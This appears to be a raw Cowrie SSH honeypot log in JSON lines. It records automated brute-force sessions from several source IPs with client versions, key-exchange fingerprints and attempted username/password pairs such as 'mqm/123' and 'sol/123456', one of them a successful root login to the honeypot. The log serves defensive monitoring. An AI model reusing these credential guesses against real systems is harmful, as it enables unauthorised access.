{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:48.567269Z","src_ip":"103.234.53.173","session":"1aa3466ba0f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:48.693289Z","src_ip":"92.118.39.92","session":"2f763aa32823","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:49.430780Z","src_ip":"103.234.53.173","session":"1aa3466ba0f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:50.640386Z","src_ip":"103.234.53.173","session":"1aa3466ba0f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.234.53.173","src_port":48296,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea605625a12b","protocol":"ssh","message":"New connection: 103.234.53.173:48296 (159.203.135.109:22) [session: ea605625a12b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:50.849772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:50.853905Z","src_ip":"103.234.53.173","session":"ea605625a12b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:51.064481Z","src_ip":"103.234.53.173","session":"ea605625a12b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:51.940769Z","src_ip":"103.234.53.173","session":"ea605625a12b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:52.155658Z","src_ip":"103.234.53.173","session":"ea605625a12b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:52.160418Z","src_ip":"103.234.53.173","session":"31c583db67fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":46476,"dst_ip":"159.203.135.109","dst_port":22,"session":"46dcf971ea75","protocol":"ssh","message":"New connection: 185.196.10.227:46476 (159.203.135.109:22) [session: 46dcf971ea75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:53.716577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:53.721184Z","src_ip":"185.196.10.227","session":"46dcf971ea75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:53.834816Z","src_ip":"185.196.10.227","session":"46dcf971ea75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mqm","password":"123","message":"login attempt [mqm/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:54.321520Z","src_ip":"185.196.10.227","session":"46dcf971ea75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:55.437282Z","src_ip":"185.196.10.227","session":"46dcf971ea75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60960,"dst_ip":"159.203.135.109","dst_port":22,"session":"883135e76aad","protocol":"ssh","message":"New connection: 2.57.122.208:60960 (159.203.135.109:22) [session: 883135e76aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:53:08.625287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:53:08.767956Z","src_ip":"2.57.122.208","session":"883135e76aad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:53:08.773063Z","src_ip":"2.57.122.208","session":"883135e76aad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:53:09.447040Z","src_ip":"2.57.122.208","session":"883135e76aad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:53:10.553403Z","src_ip":"2.57.122.208","session":"883135e76aad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.164.169.12","src_port":50180,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a043dff62d5","protocol":"ssh","message":"New connection: 194.164.169.12:50180 (10.17.0.5:22) [session: 8a043dff62d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:53:48.348781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:53:48.525196Z","src_ip":"194.164.169.12","session":"8a043dff62d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:53:48.529306Z","src_ip":"194.164.169.12","session":"8a043dff62d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test001","password":"test001","message":"login attempt [test001/test001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:53:49.040610Z","src_ip":"194.164.169.12","session":"8a043dff62d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:53:50.152687Z","src_ip":"194.164.169.12","session":"8a043dff62d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.98","src_port":42790,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0de7c3e6b92","protocol":"ssh","message":"New connection: 157.10.160.98:42790 (159.203.135.109:22) [session: e0de7c3e6b92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:54:24.510981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:54:24.515438Z","src_ip":"157.10.160.98","session":"e0de7c3e6b92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:54:24.765128Z","src_ip":"157.10.160.98","session":"e0de7c3e6b92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sean","password":"sean123","message":"login attempt [sean/sean123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:54:25.799817Z","src_ip":"157.10.160.98","session":"e0de7c3e6b92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:54:27.051173Z","src_ip":"157.10.160.98","session":"e0de7c3e6b92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":50108,"dst_ip":"159.203.135.109","dst_port":22,"session":"faea27ea8e02","protocol":"ssh","message":"New connection: 185.196.10.227:50108 (159.203.135.109:22) [session: faea27ea8e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:54:36.989769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:54:36.993032Z","src_ip":"185.196.10.227","session":"faea27ea8e02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:54:37.102471Z","src_ip":"185.196.10.227","session":"faea27ea8e02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"Azureuser","message":"login attempt [azureuser/Azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:54:37.576249Z","src_ip":"185.196.10.227","session":"faea27ea8e02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:54:38.688578Z","src_ip":"185.196.10.227","session":"faea27ea8e02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":33646,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a41af574404","protocol":"ssh","message":"New connection: 195.178.110.218:33646 (10.17.0.5:22) [session: 9a41af574404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:55:03.436565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:55:03.440807Z","src_ip":"195.178.110.218","session":"9a41af574404","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:55:03.520511Z","src_ip":"195.178.110.218","session":"9a41af574404","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:55:03.766198Z","src_ip":"195.178.110.218","session":"9a41af574404","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:55:04.853058Z","src_ip":"195.178.110.218","session":"9a41af574404","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.234.53.173","src_port":58144,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0e31d995ef1","protocol":"ssh","message":"New connection: 103.234.53.173:58144 (159.203.135.109:22) [session: a0e31d995ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:55:06.189879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:55:06.194725Z","src_ip":"103.234.53.173","session":"a0e31d995ef1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:55:06.409036Z","src_ip":"103.234.53.173","session":"a0e31d995ef1","protocol":"ssh"}
